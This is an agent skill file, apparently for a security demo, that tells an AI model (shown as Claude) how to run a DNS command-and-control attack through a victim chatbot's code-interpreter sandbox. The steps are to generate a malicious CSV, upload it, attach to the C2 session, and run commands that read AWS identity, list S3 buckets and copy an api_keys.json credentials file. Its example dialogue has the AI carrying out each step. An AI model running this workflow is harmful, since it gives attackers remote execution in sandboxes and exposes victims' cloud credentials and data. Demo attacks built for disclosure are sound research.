DNS C2 Operator Skill

This skill automates the DNS C2 attack workflow for the AgentCore sandbox breakout demo.

Prerequisites

Before using this skill, ensure:

1. Attacker infrastructure is deployed (cd attacker-infra && make deploy)
2. The C2 server is running (happens automatically during deploy)

Quick Commands (from repo root)

bash
1# Generate malicious CSV (session ID saved to attacker-infra/.session_id)
2make generate-csv
3
4# Attach to session (auto-reads .session_id)
5make attach
6
7# Or use the c2 CLI directly from attacker-infra/
8cd attacker-infra
9uv run c2 generate-csv
10uv run c2 attach

Usage Modes

Mode 1: Generate and Upload CSV

When the user wants to attack via CSV upload:

• "Generate a malicious CSV"
• "Create a payload for the chatbot"

Workflow:

1. Run make generate-csv from repo root
2. Note the session ID (also saved to attacker-infra/.session_id)
3. Upload attacker-infra/malicious_data.csv to victim chatbot
4. Run make attach to connect to the session

Mode 2: Attach to Session

When the user wants to connect to an active session:

• "Attach to the C2 session"
• "Connect to session sess_abc12345"

Workflow:

bash
1# Auto-read session ID from .session_id
2make attach
3
4# Or specify manually
5cd attacker-infra && uv run c2 attach sess_abc12345

Mode 3: Execute Commands

Once attached, send commands in the operator shell:

• whoami - Check current user
• aws s3 ls - List S3 buckets
• aws sts get-caller-identity - Check IAM identity
• exit - Disconnect (session stays active)

CLI Reference

All commands run from attacker-infra/ directory:

bash
1# Generate payload
2uv run c2 generate-csv
3
4# Attach to session (reads from .session_id if no argument)
5uv run c2 attach [SESSION_ID]
6
7# Send single command
8uv run c2 send "whoami" --session sess_abc12345
9
10# Receive output
11uv run c2 receive --session sess_abc12345
12
13# Check C2 server status
14uv run c2 status

Common Demo Commands

After attaching to a session, demonstrate the vulnerability:

bash
1whoami
2aws sts get-caller-identity
3aws s3 ls
4aws s3 ls s3://victim-chatbot-sensitive-* --recursive
5aws s3 cp s3://victim-chatbot-sensitive-*/credentials/api_keys.json -
6aws dynamodb list-tables

Error Handling

"Cannot reach C2 server"

The C2 server may not be running. Run: cd attacker-infra && make configure-ec2

Empty output after polling

The payload may not have executed. Check:

• Victim chatbot is accessible
• CSV was uploaded and processed
• DNS queries reaching C2: make logs

Session timeout

Code Interpreter sessions timeout after ~15 minutes. Generate a new CSV and re-upload.

Example Full Workflow

User: Generate a payload for the victim chatbot

Claude runs: make generate-csv
Output: Session ID sess_x7k2m9p1 saved to .session_id

User: I uploaded the CSV, now connect

Claude runs: make attach
-> Connects to sess_x7k2m9p1

User: Run whoami

Claude (in operator shell): whoami
Output: genesis1ptools

User: Check what AWS access we have

Claude: aws sts get-caller-identity
Output: {"Account": "445570921298", "Arn": "arn:aws:sts::..."}